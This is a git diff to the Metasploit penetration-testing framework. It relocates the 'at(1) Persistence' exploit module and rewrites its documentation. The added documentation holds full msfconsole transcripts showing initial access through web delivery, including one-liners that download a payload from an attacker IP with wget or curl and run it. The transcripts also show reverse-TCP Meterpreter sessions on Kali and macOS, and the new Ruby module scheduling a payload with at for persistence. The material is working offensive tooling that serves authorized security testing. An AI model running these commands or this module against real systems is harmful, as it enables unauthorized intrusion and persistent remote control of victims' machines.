diff --git a/documentation/modules/exploit/multi/persistence/at.md b/documentation/modules/exploit/multi/persistence/at.md new file mode 100644 index 0000000000000..2e4a49560bf27 --- /dev/null +++ b/documentation/modules/exploit/multi/persistence/at.md @@ -0,0 +1,190 @@ +## Vulnerable Application + +This module executes a metasploit payload utilizing `at(1)` to execute jobs at a specific time. It should work out of the box +with any UNIX-like operating system with `atd` running. + +Verified on Kali linux and OSX 13.7.4 + +### OSX + +In the case of OS X, the `atrun` service must be launched: + +``` +sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist +``` + +### Kali + +`at` isn't installed by default. `sudo apt-get install at`. + +## Verification Steps + +1. Start msfconsole +2. Exploit a box via whatever method +3. Do: `use exploit/multi/persistence/at` +4. Do: `set session #` +5. `exploit` + + +## Options + + ### TIME + + When to run job via `at(1)`. Conforms to timespec. Examples can be found in the module's references. + +## Scenarios + +### Kali Linux + +Initial access vector via web delivery + +``` +[*] Processing /home/mtcyr/.msf4/msfconsole.rc for ERB directives. +resource (/home/mtcyr/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/home/mtcyr/.msf4/msfconsole.rc)> setg lhost 192.168.10.144 +lhost => 192.168.10.144 +resource (/home/mtcyr/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (/home/mtcyr/.msf4/msfconsole.rc)> set srvport 8181 +srvport => 8181 +resource (/home/mtcyr/.msf4/msfconsole.rc)> set target 7 +target => 7 +resource (/home/mtcyr/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (/home/mtcyr/.msf4/msfconsole.rc)> set lport 4545 +lport => 4545 +resource (/home/mtcyr/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Starting persistent handler(s)... +[*] Started reverse TCP handler on 192.168.10.144:4545 +[*] Using URL: http://192.168.10.144:8181/PaulWjhBSpRlqAz +[*] Server started. +[*] Run the following command on the target machine: +wget -qO o20dAbhk --no-check-certificate http://192.168.10.144:8181/PaulWjhBSpRlqAz; chmod +x o20dAbhk; ./o20dAbhk& disown +[msf](Jobs:2 Agents:0) exploit(multi/script/web_delivery) > +[*] 192.168.10.144 web_delivery - Delivering Payload (250 bytes) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 192.168.10.144 +[*] Meterpreter session 1 opened (192.168.10.144:4545 -> 192.168.10.144:42442) at 2025-02-06 11:40:00 -0500 +[msf](Jobs:2 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... +(Meterpreter 1)(/tmp) > sysinfo +Computer : 192.168.10.144 +OS : Debian (Linux 6.11.2-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +(Meterpreter 1)(/tmp) > background +[*] Backgrounding session 1... +``` + +Persistence + +``` +[msf](Jobs:2 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/persistence/at +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) > set time "now +10 minutes" +time => now +10 minutes +[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) > set session 1 +session => 1 +[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) > exploit +[*] Command to run on remote host: curl -so ./tmoAoATss http://192.168.10.144:8080/aZRe4yWUN3U2-lDtdsaGlA;chmod +x ./tmoAoATss;./tmoAoATss& +[*] Exploit running as background job 2. +[*] Exploit completed, but no session was created. +[msf](Jobs:3 Agents:1) exploit(multi/persistence/at) > [*] Fetch handler listening on 192.168.10.144:8080 +[*] HTTP server started +[*] Adding resource /aZRe4yWUN3U2-lDtdsaGlA +[*] Started reverse TCP handler on 192.168.10.144:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. at(1) confirmed to be usable as a persistence mechanism +[*] Writing payload to /tmp//YneHFC +[*] Waiting for execution +[*] Meterpreter-compatible Cleaup RC file: /home/mtcyr/.msf4/logs/persistence/192.168.10.144_20250206.4241/192.168.10.144_20250206.4241.rc +[msf](Jobs:3 Agents:1) exploit(multi/persistence/at) > date +[*] exec: date +Thu Feb 6 11:42:44 AM EST 2025 +[msf](Jobs:3 Agents:1) exploit(multi/persistence/at) > +[*] Client 192.168.10.144 requested /aZRe4yWUN3U2-lDtdsaGlA +[*] Sending payload to 192.168.10.144 (curl/8.11.1) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 192.168.10.144 +[*] Meterpreter session 2 opened (192.168.10.144:4444 -> 192.168.10.144:36212) at 2025-02-06 11:52:00 -0500 +[msf](Jobs:3 Agents:2) exploit(multi/persistence/at) > date +[*] exec: date +Thu Feb 6 11:52:20 AM EST 2025 +``` + +### OSX 13.7.4 + +Initial access vector via web delivery + +``` +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111 +lhost => 111.111.1.111 +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set target 8 +target => 8 +resource (/root/.msf4/msfconsole.rc)> set srvport 8383 +srvport => 8383 +resource (/root/.msf4/msfconsole.rc)> set payload payload/osx/x64/meterpreter_reverse_tcp +payload => osx/x64/meterpreter_reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set lport 4747 +lport => 4747 +resource (/root/.msf4/msfconsole.rc)> set URIPATH m +URIPATH => m +resource (/root/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Starting persistent handler(s)... +[*] Started reverse TCP handler on 111.111.1.111:4747 +[*] Using URL: http://111.111.1.111:8383/m +[*] Server started. +[*] Run the following command on the target machine: +curl -sk --output y9D7PFJd http://111.111.1.111:8383/m; chmod +x y9D7PFJd; ./y9D7PFJd& disown +[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > [*] Meterpreter session 1 opened (111.111.1.111:4747 -> 222.22.2.2:49164) at 2025-02-21 16:59:10 -0500 +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/persistence/at +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +[msf](Jobs:2 Agents:2) exploit(multi/persistence/at) > sessions -i 1 +[*] Starting interaction with 1... +(Meterpreter 1)(/Users/macos) > getuid +Server username: macos +(Meterpreter 1)(/Users/macos) > sysinfo +Computer : 20.20.20.21 +OS : macOS Ventura (macOS 13.7.4) +Architecture : x86 +BuildTuple : x86_64-apple-darwin +Meterpreter : x64/osx +(Meterpreter 1)(/Users/macos) > +``` + +Persistence + +Already run: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist` + +``` +[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > set session 1 +session => 1 +[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > set time now +2 minutes +time => now +2 minutes +[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > set payload payload/osx/x64/meterpreter_reverse_tcp +payload => osx/x64/meterpreter_reverse_tcp +[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > exploit +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. +[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) > +[*] Started reverse TCP handler on 111.111.1.111:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. at(1) confirmed to be usable as a persistence mechanism +[*] Writing payload to /tmp/NBcqC +[*] Writing '/tmp/NBcqC' (25 bytes) ... +[*] Writing '/tmp/NBcqCmk' (815032 bytes) ... +[+] at job created with id: 7 +[*] Waiting up to sec for execution +[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/20.20.20.21_20250221.0028/20.20.20.21_20250221.0028.rc +[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.22.2.2:49165) at 2025-02-21 17:02:29 -0500 +``` \ No newline at end of file diff --git a/documentation/modules/exploit/unix/local/at_persistence.md b/documentation/modules/exploit/unix/local/at_persistence.md deleted file mode 100644 index 1b5b19128387d..0000000000000 --- a/documentation/modules/exploit/unix/local/at_persistence.md +++ /dev/null @@ -1,32 +0,0 @@ -## Vulnerable Application - -This module executes a metasploit payload utilizing `at(1)` to execute jobs at a specific time. It should work out of the box -with any UNIX-like operating system with `atd` running. In the case of OS X, the `atrun` service must be launched: - -``` -sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist -``` - -## Verification Steps - - 1. Start msfconsole - 2. Exploit a box via whatever method - 3. Do: `use exploit/unix/local/at_persistence` - 4. Do: `set session #` - 5. Do: `set target #` - 6. `exploit` - - -## Options - - **TIME** - - When to run job via at(1). Changing may require WfsDelay to be adjusted. - - **PATH** - - Path to store payload to be executed by at(1). Leave unset to use mktemp. - -## Scenarios - -This module is useful for running one-shot payloads with delayed execution. It is slightly less obvious than cron. diff --git a/modules/exploits/multi/persistence/at.rb b/modules/exploits/multi/persistence/at.rb new file mode 100644 index 0000000000000..8ee2bbc11309a --- /dev/null +++ b/modules/exploits/multi/persistence/at.rb @@ -0,0 +1,112 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Exploit::FileDropper + include Msf::Exploit::EXE # for generate_payload_exe + include Msf::Exploit::Local::Persistence + include Msf::Exploit::Local::Timespec + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Deprecated + moved_from 'exploits/unix/local/at_persistence' + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'at(1) Persistence', + 'Description' => %q{ + This module executes a metasploit payload utilizing at(1) to execute jobs at a specific time. It should work out of the box + with any UNIX-like operating system with atd running. + Verified on Kali linux and OSX 13.7.4 + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Jon Hart ' + ], + 'Targets' => [['Automatic', {} ]], + 'DefaultTarget' => 0, + 'Platform' => %w[unix linux osx], + 'Arch' => [ + ARCH_CMD, + ARCH_X86, + ARCH_X64, + ARCH_ARMLE, + ARCH_AARCH64, + ARCH_PPC, + ARCH_MIPSLE, + ARCH_MIPSBE + ], + 'SessionTypes' => ['meterpreter', 'shell'], + 'DisclosureDate' => '1997-01-01', # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html + 'References' => [ + ['URL', 'https://linux.die.net/man/1/at'], + ['URL', 'https://www.geeksforgeeks.org/at-command-in-linux-with-examples/'], + ['ATT&CK', Mitre::Attack::Technique::T1053_002_AT], + ['ATT&CK', Mitre::Attack::Technique::T1053_001_AT_LINUX], + ], + 'Notes' => { + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + } + ) + ) + + register_options([ + OptString.new('TIME', [false, 'When to run job via at(1). See timespec', 'now']), + OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']), + ]) + end + + def check + return CheckCode::Safe("#{datastore['WritableDir']} does not exist") unless exists? datastore['WritableDir'] + return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable? datastore['WritableDir'] + + return CheckCode::Safe('at(1) not found on system') unless command_exists? 'at' + + # we do a direct test with atq instead of reading at.allow and at.deny + token = Rex::Text.rand_text_alphanumeric(8) + if cmd_exec("atq && echo #{token}").include?(token) + return CheckCode::Vulnerable('at(1) confirmed to be usable as a persistence mechanism') + end + + CheckCode::Safe('at(1) not usable as a persistence mechanism likely due to explicit permissions in at.allow or at.deny') + end + + def install_persistence + fail_with(Failure::BadConfig, "TIME option isn't valid timespec") unless Msf::Exploit::Local::Timespec.valid_timespec?(datastore['TIME']) + payload_path = datastore['WritableDir'] + payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/" + payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10) + payload_path << payload_name + vprint_status("Writing payload to #{payload_path}") + + if payload.arch.first == 'cmd' + upload_and_chmodx(payload_path, payload.encoded) + else + # because the payloads contents is imported into the at job, we use a stub to call our payload + # as it doesn't like binary payloads directly + payload_path_exe = "#{payload_path}#{rand_text_alphanumeric(1..2)}" + # stub, but keep payload_path name for consistency + upload_and_chmodx(payload_path, "#!/bin/sh\n#{payload_path_exe} &\n") + upload_and_chmodx(payload_path_exe, generate_payload_exe) + @clean_up_rc << "rm #{payload_path_exe}\n" + end + + @clean_up_rc << "rm #{payload_path}\n" + + job = cmd_exec("at -f #{payload_path} #{datastore['TIME']}") + job_id = job.split(' ')[1] + print_good("at job created with id: #{job_id}") + # this won't actually do anything since its not in a shell + @clean_up_rc << "atrm #{job_id}\n" + + print_status("Waiting up to #{datastore['WfsDelay']}sec for execution") + end +end diff --git a/modules/exploits/unix/local/at_persistence.rb b/modules/exploits/unix/local/at_persistence.rb deleted file mode 100644 index cd84b461ef671..0000000000000 --- a/modules/exploits/unix/local/at_persistence.rb +++ /dev/null @@ -1,72 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -class MetasploitModule < Msf::Exploit::Local - Rank = ExcellentRanking - - include Msf::Post::File - include Msf::Exploit::FileDropper - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'at(1) Persistence', - 'Description' => %q{ - This module achieves persistence by executing payloads via at(1). - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'Jon Hart ' - ], - 'Targets' => [['Automatic', {} ]], - 'DefaultTarget' => 0, - 'Platform' => %w[unix], - 'Arch' => ARCH_CMD, - 'DisclosureDate' => '1997-01-01', # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html - 'Notes' => { - 'Reliability' => [REPEATABLE_SESSION], - 'Stability' => [CRASH_SAFE], - 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] - } - ) - ) - - register_options([ - OptString.new('TIME', [false, 'When to run job via at(1). Changing may require WfsDelay to be adjusted.', 'now']) - ]) - - register_advanced_options([ - OptString.new('PATH', [false, 'Path to store payload to be executed by at(1). Leave unset to use mktemp.']) - ]) - end - - def check - token = Rex::Text.rand_text_alphanumeric(8) - if cmd_exec("atq && echo #{token}").include?(token) - CheckCode::Vulnerable - else - CheckCode::Safe - end - end - - def exploit - unless check == Exploit::CheckCode::Vulnerable - fail_with(Failure::NoAccess, 'User denied cron via at.deny') - end - - unless (payload_file = (datastore['PATH'] || cmd_exec('mktemp'))) - fail_with(Failure::BadConfig, 'Unable to find suitable location for payload') - end - - write_file(payload_file, payload.encoded) - register_files_for_cleanup(payload_file) - - cmd_exec("chmod 700 #{payload_file}") - cmd_exec("at -f #{payload_file} #{datastore['TIME']}") - - print_status("Waiting up to #{datastore['WfsDelay']}sec for execution") - end -end